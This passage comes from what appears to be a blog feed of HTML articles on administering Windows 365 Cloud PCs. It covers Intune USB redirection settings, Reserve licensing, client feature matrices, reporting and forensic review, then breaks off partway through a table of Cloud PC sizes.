<li><a href="https://go.microsoft.com/fwlink/?linkid=2230623" target="_blank" rel="noreferrer">Windows 365 Boot Autopilot Profile</a></li>
<li><a href="https://go.microsoft.com/fwlink/?linkid=2230553" target="_blank" rel="noreferrer">Windows 365 Boot Device Configuration Policy</a></li>
<li><a href="https://go.microsoft.com/fwlink/?linkid=2230440" target="_blank" rel="noreferrer">Windows 365 Boot Windows Update Policy</a></li>
</ul>
<hr>
<h3 id="other-settings" tabindex="-1">Other Settings <a class="header-anchor" href="#other-settings" aria-label="Permalink to &quot;Other Settings&quot;">&ZeroWidthSpace;</a></h3>
<p>There are a few other things you can set up or need to know regarding the configuration of Windows 365.</p>
<p><u>RBAC</u></p>
<p>First regarding automatic configurations.</p>
<p>If you <span style="color:crimson">connect Images or Network connections</span> to your Windows 365 environment, the system will <span style="color:crimson">automatically set up the apropriate <strong>RBAC role asignments</strong></span> in your Azure ressources to give Windows 365 the permission it needs.
But <span style="color:crimson">these Role assignment will not be removed automatically</span>, if you delete the Image or Network connection again.</p>
<img src="\intune\win365\RBAC.jpg" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<p><u>Configuration Settings</u></p>
<p>Secondly there are a lot of configurations you can set up to customize the Cloud PC experience even more.
You can use the same controls you used for RDP connections in the past.</p>
<p>The following example demonstrates how to enable USB redirection.
This allows the use of USB devices such as FIDO security keys.</p>
<ol>
<li>To create a configuration you go to the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <a href="https://inconfig.cmd.ms" target="_blank" rel="noreferrer">Configuration</a>, where you click create <code>+ Create</code> -&gt; <code>+ New Policy</code> to create a new configuration.</li>
<li>Select <code>Windows 10 and Later</code>as <strong>Platform</strong> and <code>Settings catalog</code> as <strong>Profile type</strong> and then click <code>Create</code>.</li>
<li>Enter a <strong>Name</strong> and <strong>Description</strong> for your profile and then click <code>Next</code> to continue.</li>
<li>If you now click on <code>+ Add settings</code> you can search for the <strong>Do not allow supported Plug and Play device redirection</strong> setting, activate it and set it to <code>Disabled</code>.</li>
</ol>
<img src="\intune\win365\USBRedirection1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="550" loading="lazy"/>
<ol start="5">
<li>Click <code>Next</code> again, enter <strong>Scope tags</strong> if needed, click <code>Next</code>again, set the <strong>Assignments</strong> to the Windows 365 device group you created at the start and then <code>Review + create</code> the settings profile.</li>
</ol>
<p>Next we need to create the setting to allow redirection on the local device, that connects to the Cloud PC.
You can create that manually in your local Group Policy Editor to test or also through Intune.</p>
<ol>
<li>To create the setting through Intune follow the same steps as before and search for the setting <strong>Allow RDP redirection of other supported RemoteFX USB devices from this computer</strong> and set it to <code>Enabled</code>.
To create the setting manually open the <strong>Group Policy Editor</strong> (just search for group policy in Windows) on your local device and navigate to <strong>Computer Configuration</strong> -&gt; <strong>Administrative Templates</strong> -&gt; <strong>Windows Components</strong> -&gt; <strong>Remote Desktop Services</strong> -&gt; <strong>Remote Desktop Connection Client</strong> -&gt; <strong>RemoteFX USB Device Redirection</strong> and set the setting there.</li>
</ol>
<img src="\intune\win365\USBRedirection2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<p>Once both settings have taken effect and you have connected to your Windows 365 machine, an additional symbol will appear in the connection bar, allowing you to activate or deactivate individual USB devices.</p>
<img src="\intune\win365\USBRedirection3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<h2 id="windows-365-reserve" tabindex="-1">🗄️ Windows 365 Reserve <a class="header-anchor" href="#windows-365-reserve" aria-label="Permalink to &quot;:file_cabinet: Windows 365 Reserve&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows 365 Reserve lets organizations give employees up to 10 days of Cloud PC access per year with an annual license.
Cloud PCs are set up only when needed, what is cheaper and simpler then keeping physical loaner devices around and ship them through the lands.</p>
<p><span style="color:crimson">There are a few important things to understand about Windows 365 Reserve licensing, as these will impact whether it is a good fit for your needs.</span></p>
<p>First, Windows 365 Reserve licenses must be purchased through Microsoft Sales and can not be gotten directly through the Microsoft Admin Center.
The licenses apply at the tenant level and are not assigned in the Microsoft 365 admin center.
Instead, they are applied when you create provisioning policies in Intune and assign those policies to a user group.</p>
<p>To cover users with Windows 365 Reserve, each user must already have the required base licenses, either standalone or as part of a bundle:</p>
<ul>
<li>Windows 11 Enterprise or Windows 10 Enterprise</li>
<li>Microsoft Intune</li>
<li>Microsoft Entra ID P1</li>
</ul>
<p>The cost for Windows 365 Reserve is 20 $ per user per year (November 2025).</p>
<p>A few important additional points:</p>
<ul>
<li>Microsoft recommends purchasing one Windows 365 Reserve license for every user you want to cover</li>
<li>Reserve licenses cannot be shared or pooled across users</li>
<li>After a Windows 365 Reserve license is assigned through a provisioning policy, the user’s Cloud PC can be provisioned only after a seven-day waiting period.</li>
</ul>
<hr>
<p><span style="color:crimson">So what that all means in practice is the following:</span></p>
<ol>
<li>You contact you Microsoft sales rep and buy the needed amount of Windows 365 Reserve licenses.</li>
<li>These will then be provisioned to your tenant and visible in the Microsoft 365 admin center.</li>
<li>Now you create a user group with the users that you want to cover (should be the amount of licenses you bought).</li>
<li>Then you create a provisoning policy for Windows 365 in Intune and select <strong>Reserve</strong> as <strong>License type</strong>.</li>
<li>In the <strong>Assignment</strong> tab of the provisioning policy you select the user group you created.</li>
<li>When you then click on the provisioning policy, you will see all the users in the <strong>Cloud PC users</strong> tab.</li>
<li>You now wait 7 days.</li>
<li>After you can go back to the provisioning policy, click on the user and then click <code>Provision</code>.</li>
<li>Now the Reserve Cloud PC will be ready in now time for the user.</li>
</ol>
<img src="\intune\win365\Reserve.png" style="border:1px solid black;float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>If you want to learn more about Windows 365 Reserve click <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/introduction-windows-365-reserve" target="_blank" rel="noreferrer">here</a>.</li>
<li>If you want learn more about the licensing click <a href="https://learn.microsoft.com/en-us/windows-365/enterprise/windows-365-reserve-license" target="_blank" rel="noreferrer">here</a>.</li>
</ul>
<div class="danger custom-block"><p class="custom-block-title">My Opinion</p>
<p>In theory, Windows 365 Reserve is a great product, but the convoluted licensing process and the hoops you have to jump through to provision it make it basically unusable for most companies.
The hoops are clearly only there to prevent you from sharing licences across users or giving them to short-term personnel, such as contractors.</p>
<p>But this is exactly the main use case, in my opinion!
I want a pool of reserve licences so that I always have a cloud PC on hand in case a physical device breaks.
However, licensing basically my whole company or creating a two-class system of haves and have-nots is not realistic.
I would still need physical loaner devices, so the whole point of Windows 365 Reserve would be lost.</p>
<p>So, I think Microsoft will test the waters again here, and hopefully reshape the licensing model in the end to give this great idea a chance to succeed.</p>
</div>
<h2 id="user-experience" tabindex="-1">⭐ User Experience <a class="header-anchor" href="#user-experience" aria-label="Permalink to &quot;:star: User Experience&quot;">&ZeroWidthSpace;</a></h2>
<p>To access your Cloud PC there are multiple options. Following you find an <span style="color:crimson">Access Matrix</span> where you find which access method is available for which license type and then a <span style="color:crimson">Feature Matrix</span> where you find which features are available on which client.</p>
<details class="details custom-block"><summary>Access Matrix</summary>
<table>
<thead>
<tr>
<th>Access</th>
<th>Business</th>
<th>Enterprise</th>
<th>Frontline</th>
<th>Reserve</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows App</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Web Client</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>RDP Client (MSTSC)</td>
<td>✅</td>
<td>✅</td>
<td>❌</td>
<td>❌</td>
</tr>
<tr>
<td>LG Web OS</td>
<td>✅</td>
<td>✅</td>
<td>❌</td>
<td>❌</td>
</tr>
<tr>
<td>Windows 365 Boot</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Windows 365 Link</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
</tbody>
</table>
<p>Support for the RDP Client will end March 27, 2026.</p>
</details>
<details class="details custom-block"><summary>Client features</summary>
<table>
<thead>
<tr>
<th>Feature</th>
<th style="text-align:center">Windows RDP Client (MSTSC)</th>
<th style="text-align:center">Windows App</th>
<th style="text-align:center">macOS</th>
<th style="text-align:center">iOS / iPadOS</th>
<th style="text-align:center">Android / Chrome OS</th>
<th style="text-align:center">Web browser</th>
</tr>
</thead>
<tbody>
<tr>
<td>Keyboard</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Mouse / trackpad</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Touch</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Pen</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Serial port</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>USB</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Cameras</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅ (preview)</td>
</tr>
<tr>
<td>Clipboard – bidirectional</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">Text, images</td>
<td style="text-align:center">Text</td>
<td style="text-align:center">Text</td>
</tr>
<tr>
<td>Clipboard – unidirectional¹</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">Text, images</td>
<td style="text-align:center">Text</td>
<td style="text-align:center">Text</td>
</tr>
<tr>
<td>Local drive / storage</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅²</td>
</tr>
<tr>
<td>Location</td>
<td style="text-align:center">✅³</td>
<td style="text-align:center">✅³</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Microphones</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
<tr>
<td>Printers</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅⁴</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">✅⁵</td>
</tr>
<tr>
<td>Scanners⁶</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Smart Cards</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td>Speakers</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
<td style="text-align:center">✅</td>
</tr>
</tbody>
</table>
<ol>
<li>macOS support is native in the Remote Desktop client. All other platforms require remote session configuration.</li>
<li>Limited to uploading and downloading files through a web browser.</li>
<li>From a local device running Windows 11 only.</li>
<li>The Remote Desktop client on macOS supports the <strong>Publisher Imagesetter</strong> printer driver by default (CUPS only).</li>
<li>PDF printing only.</li>
<li>High-level redirection of TWAIN scanners is not supported.</li>
</ol>
</details>
<ol>
<li>The best option for accessing your Cloud PC on Windows is to use the Windows App and if you're not using Windows, you can also access it via the Browser at <a href="https://windows.cloud.microsoft/" target="_blank" rel="noreferrer">https://windows.cloud.microsoft/</a>.</li>
<li>Here you will find your assigned and provisioned Cloud PCs after sing in.</li>
<li>Clicking the three dots on the right of your Cloud PC card allows you to perform various actions, such as restarting or restoring the Cloud PC, or accessing the settings.</li>
</ol>
<img src="\intune\win365\app.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<ol start="4">
<li>For accessing, you just click <code>Connect</code>.</li>
</ol>
<video controls="controls" src="\intune\win365\StartWin365.mp4" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="" height="480" width="640" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The first sign-in can run a little longer then normal.</p>
</div>
<h2 id="reporting" tabindex="-1">📑 Reporting <a class="header-anchor" href="#reporting" aria-label="Permalink to &quot;:bookmark_tabs: Reporting&quot;">&ZeroWidthSpace;</a></h2>
<p>To get a handle on the status of your Windows 365 devices, there are lots of options to look at.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>This reporting is only available for <strong>Windows 365 Enterprise</strong>, <strong>Windows 365 Frontline</strong> or <strong>Windows 365 Reserve</strong> licenses.
<strong>Windows 365 Business</strong> is not managed through Intune and therefore has not these specific reporting options.</p>
</div>
<p><u>Windows 365 tab</u></p>
<ul>
<li>Firstly, to get an Overview about your current <strong>W365 devices</strong> and <strong>W365 cloud apps</strong>, you can look at the <strong>Overview</strong>, <strong>All Cloud PCs</strong> and <strong>All Cloud Apps</strong> pages in the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <strong>Device onboarding</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/Cloud%20PC" target="_blank" rel="noreferrer">Windows 365</a>.</li>
</ul>
<img src="\intune\win365\overview.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>On the same <strong>Overview</strong> page you find the <strong>Connection Quality Report</strong>.
This report gives a great overview regarding connection speeds, bandwidth, gateway locations and more.</li>
</ul>
<img src="\intune\win365\connectivity.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="900" loading="lazy"/>
<ul>
<li>On the <strong>Overview</strong> page you also find the <strong>Resource Performance</strong> report, which is a shortcut to the <strong>Endpoint analytics Resource Performance</strong> report.
This report gives you a comparision view, how your devices are doing in the ressource department.
To see only the Cloud PCs you can set up a <strong>Device scope</strong>.</li>
</ul>
<img src="\intune\win365\performancereport.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<p><u>Device section</u></p>
<ul>
<li>You can find the most basic overview directly in the <strong>Intune admin portal</strong> under the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/overview" target="_blank" rel="noreferrer">Device Overview</a>.</li>
</ul>
<img src="\intune\win365\ReportsOverview.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>Or you can find a report on <strong>Cloud PC device actions</strong> (Restarts, Wipes and so on) under the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMenu/~/monitor" target="_blank" rel="noreferrer">Monitor section</a>.</li>
</ul>
<img src="\intune\win365\ReportsActions.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<p><u>Reports section</u></p>
<ul>
<li>In depth Windows 365 reports can be found in the <strong>Intune admin portal</strong> -&gt; <strong>Reports</strong> under the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/ReportingMenu/~/windows365Report" target="_blank" rel="noreferrer">Cloud PC overview</a>.
As well as the report on <strong>Connection quality</strong>, you will find many other useful reports, such as an overview of the status of your new <strong>Windows 365 Reserve</strong> licences or an overview of your AI-enabled (<strong>Copilot + PC</strong>) Cloud PCs.</li>
</ul>
<img src="\intune\win365\Reports.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>The first report I want to highlight is the <strong>Cloud PC utilization report</strong>, which gives you a great overview on how high the utilization of your Cloud PCs actually is.
This will give you a better idea of whether you have the right number of Cloud PCs and whether you have enough of them.</li>
</ul>
<img src="\intune\win365\ReportsUtil.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>The second report to highlight is the <strong>Cloud PC recommendations report</strong>, which gives you even more information about your Cloud PC sizing and also provides recommendations on how to optimize the usage.</li>
</ul>
<img src="\intune\win365\ReportsRecommend.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<p><u>Individual device section</u></p>
<ul>
<li>Next you can get a lot of Windows 365 specific information directly from the individual device page in Intune.
Like that it is in fact a Cloud PC, which size it has and if it is AI-enabled.</li>
</ul>
<img src="\intune\win365\essentials1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="600" loading="lazy"/>
<ul>
<li>Next to that you find 2 special tabs in a Windows 365 device page.
The first is the <strong>Performance</strong> tab, where you can find detailed reports about the <strong>connectivity status</strong>, the <strong>connection quality</strong> and the <strong>connections</strong> your users made.</li>
</ul>
<img src="\intune\win365\Performance.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>The first of these performance reports is listed under <strong>Connectivity status</strong>, but if you open the report you will find a <strong>Connectivity history</strong> with timestamps and statuses of connection activities.</li>
</ul>
<img src="\intune\win365\ConnectionHistory.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<ul>
<li>The second performance report is listed under <strong>Connection quality</strong>.
Here you find really detailed information about all the connections that where made in regards to there latency, speed and more.</li>
</ul>
<table>
<thead>
<tr>
<th><img src="\intune\win365\Connection Report.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/></th>
<th><img src="\intune\win365\Connection Report2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/></th>
</tr>
</thead>
</table>
<ul>
<li>The third and last performance report is listed under <strong>Time connected</strong> and this is what it shows (even so the report is named Session Performance).</li>
</ul>
<img src="\intune\win365\SessionPeformance.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<ul>
<li>Now at last, the second special tab is the <strong>Restore points</strong> tab, where you can find all the restore points that are available for this Cloud PC, with the possebility to restore.</li>
</ul>
<img src="\intune\win365\RestorePoints.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="800" loading="lazy"/>
<h2 id="digital-forensics" tabindex="-1">🕵️ Digital forensics <a class="header-anchor" href="#digital-forensics" aria-label="Permalink to &quot;:detective: Digital forensics&quot;">&ZeroWidthSpace;</a></h2>
<p><span style="color:crimson">Digital forensics is the systematic process of identifying, preserving, analyzing, and presenting digital evidence to investigate incidents such as cybercrime, fraud or data breaches.</span></p>
<p>As part of managing your devices, you may sometimes need to submit a device for digital forensics.
Windows 365 makes this possible by allowing you to place a Cloud PC under review.</p>
<p>When a Cloud PC is placed under review, Windows 365 securely saves a snapshot of the Cloud PC to your Storage account.
Once the snapshot is transferred, it fully belongs to you and is not managed by Microsoft anymore.</p>
<hr>
<ol>
<li>To do that, you just go to the <strong>Intune admin portal</strong> -&gt; <strong>Devices</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesWindowsMenu/~/windowsDevices" target="_blank" rel="noreferrer">Windows</a> and open the Cloud PC you want to place under review.</li>
<li>Now you click on <code>...</code> at the top right and then on <code>Place Cloud PC under review</code>.</li>
</ol>
<img src="\intune\win365\ActionReview1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<ol start="3">
<li>That will open a flyout on the right side, where you can select a <strong>Storage account</strong> from your <strong>Subscription</strong>.</li>
</ol>
<img src="\intune\win365\ActionReview2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="400" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Windows 365 offers a flexible and modern approach to desktop-as-a-service, whether you're looking to support a small team or an entire enterprise.
It is not a catch-all solution, but ideal for supporting specific scenarios like temporary staff, contractors or remote workers without risking data leaving your environment or compromising security.
In addition it provides great resilience without the need to manage your own worldwide infrastructure.</p>
<p>The key to a successful Windows 365 deployment is starting with a clear understanding of your requirements.
Consider which type best fits your use case, Business for simplicity, Enterprise for full control, Frontline for frontline staff or Reserve to guarantee access.</p>
<p>Remember that Windows 365 is continuously evolving with new features like Experience Sync or AI-enabled capabilities.
Stay informed about updates and regularly review your deployment through the available reports to ensure you're getting the most value from your investment.</p>
<p><u>References</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows-365/enterprise/frontline-user-experience-sync" target="_blank" rel="noreferrer">Windows 365 Experience Sync</a></li>
<li><a href="https://learn.microsoft.com/en-us/azure/virtual-desktop/redirection-configure-usb?tabs=intune&amp;pivots=windows-365" target="_blank" rel="noreferrer">RDP USB Redirection</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-365/enterprise/enhanced-resiliency-mhn" target="_blank" rel="noreferrer">Enhance Microsoft Hosted Network Cloud PC Resiliency with Multi-Region Selection</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-365/enterprise/frontline-user-experience-sync" target="_blank" rel="noreferrer">User Experience Sync for Windows 365 Frontline in shared mode</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-365/enterprise/windows-365-boot-overview" target="_blank" rel="noreferrer">What is Windows 365 Boot?</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-app/compare-platforms-features?pivots=windows-365" target="_blank" rel="noreferrer">Compare Windows App features across platforms and devices</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud PC | Windows 365 | Virtualization]]></title>
            <link>https://michaelsendpoint.com/virtualization/win365/cloud_pc.html</link>
            <guid>https://michaelsendpoint.com/virtualization/win365/cloud_pc.html</guid>
            <pubDate>Thu, 18 Dec 2025 14:14:51 GMT</pubDate>
            <description><![CDATA[This article takes a comprehensive look at Windows 365, detailing its features, benefits and how it compares to Azure Virtual Desktop.]]></description>
            <content:encoded><![CDATA[<img src="\virtualization\win365\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="" width="700" loading="lazy"/>
<h2 id="what-is-a-cloud-pc" tabindex="-1">☁️ What is a Cloud PC? <a class="header-anchor" href="#what-is-a-cloud-pc" aria-label="Permalink to &quot;:cloud: What is a Cloud PC?&quot;">&ZeroWidthSpace;</a></h2>
<p>A <span style="color:crimson">Cloud PC is a virtual computer hosted in the cloud</span>.
It allows users to <span style="color:crimson">access</span> their desktop environment and applications <span style="color:crimson">from any device with an internet connection</span>.
Because the computing resources are managed remotely, organizations can adjust capacity as needed, which supports flexibility and scalability.
This approach is particularly useful for remote work, as it enables consistent access to files and applications from anywhere.</p>
<p><strong>Examples of Cloud PC services:</strong></p>
<ul>
<li>Microsoft Windows 365</li>
<li>Microsoft Azure Virtual Desktop</li>
<li>Amazon WorkSpaces</li>
<li>Google Cloud's Virtual Desktops</li>
</ul>
<h2 id="what-is-windows-365" tabindex="-1">🧑‍💻 What is windows 365? <a class="header-anchor" href="#what-is-windows-365" aria-label="Permalink to &quot;:technologist: What is windows 365?&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Windows 365</strong> is Microsoft’s cloud-based Desktop-as-a-Service (DaaS) offering.
It provides fully managed virtual PCs hosted in the cloud, which users can access from any device with an internet connection.</p>
<p><u>Use cases</u></p>
<ul>
<li><strong>Security:</strong> You can keep your data on your own network, stay secure and compliant, reduce risk and still support remote work.</li>
<li><strong>Disaster Recovery:</strong> Quickly set up a secure work environment in case of compromise.</li>
<li><strong>Bring-yor-own-Device:</strong> Enable a secure and consistent environment without a physical devices.</li>
<li><strong>Short-Term Staff / Contractors:</strong> Provide secure and compliant access for temporary staff while reducing onboarding and offboarding effort.</li>
<li><strong>Performance spikes:</strong> Reduce the need for big, rarely used, local capacity and give demanding workloads the power they need without impacting the rest of your environment.</li>
<li><strong>Shared Devices:</strong> Frontline and frontline-shared licenses offer a cost-effective way to provide frontline and shift workers with their own desktop environment, eliminating the compliance and credential hassle associated with shared accounts.</li>
<li><strong>Mergers &amp; Acquisitions:</strong> Spin-up capacity and give access to new useres quickly, without loosing security or compliance.</li>
</ul>
<p><u>Windows 365 Plans</u></p>
<ul>
<li><strong>Windows 365 Business:</strong> For businesses with up to 300 users, this is a fully Microsoft-managed Cloud PC solution with no management options.</li>
<li><strong>Windows 365 Enterprise:</strong> Microsoft-managed Cloud PC solution with management options through Intune.</li>
<li><strong>Windows 365 Government:</strong> Microsoft-managed Cloud PC solution for the US government with specific security and compliance requirements.</li>
<li><strong>Windows 365 Frontline:</strong> This license offers two options: dedicated desktop access for up to three users (one at a time per license) or a shared mode providing non-persistent machines to an unlimited number of users, also one at a time.</li>
<li><strong>Windows 365 Reserve:</strong> Microsoft-managed Cloud PC solution used as supstitude for an unavailable device or short-term access up to 10 days per user per year.</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Classifications as seen on the Windows 365 Homepage:</p>
<ul>
<li>Windows 365 Basic - 2 vCPU / 4 GB RAM / 128 GB Storage (Desktop version of Teams (only Chat and audio calls))</li>
<li>Windows 365 Standard - 2 vCPU / 8 GB RAM / 128 GB Storage (Desktop version of Teams)</li>
<li>Windows 365 Premium - 4 vCPU / 16 GB RAM / 128 GB Storage (supports Visual Studio, Power BI and Dynamics 365)</li>
</ul>
<p>These plans are not licenses, but examples of Cloud PC sizes.
There are actually only four Windows 365 licenses: Business, Enterprise, Frontline and Reserve (Government is irrelevant for most).</p>
<details class="details custom-block"><summary>Available Sizes</summary>
<p>(as of December 17, 2025)</p>
<table>
<thead>
<tr>
<th></th>
<th>vCPU</th>
<th>Memory</th>
<th>Storage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>2</td>
<td>8</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>2</td>
<td>8</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>2</td>
<td>4</td>
<td>64</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>2</td>
<td>4</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>2</td>
<td>4</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>4</td>
<td>16</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>4</td>
<td>16</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>4</td>
<td>16</td>
<td>512</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>8</td>
<td>32</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>8</td>
<td>32</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>8</td>
<td>32</td>
<td>512</td>
</tr>
<tr>
<td>Windows 365 Business / Enterprise</td>
<td>16</td>
<td>64</td>
<td>512</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>2</td>
<td>4</td>
<td>64</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>2</td>
<td>4</td>
<td>128</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>2</td>
<td>4</td>
<td>256</td>
</tr>
<tr>
<td>Windows 365 Frontline</td>
<td>2</td>
<td>8</td>
<td>128</td>
</tr>
<tr>
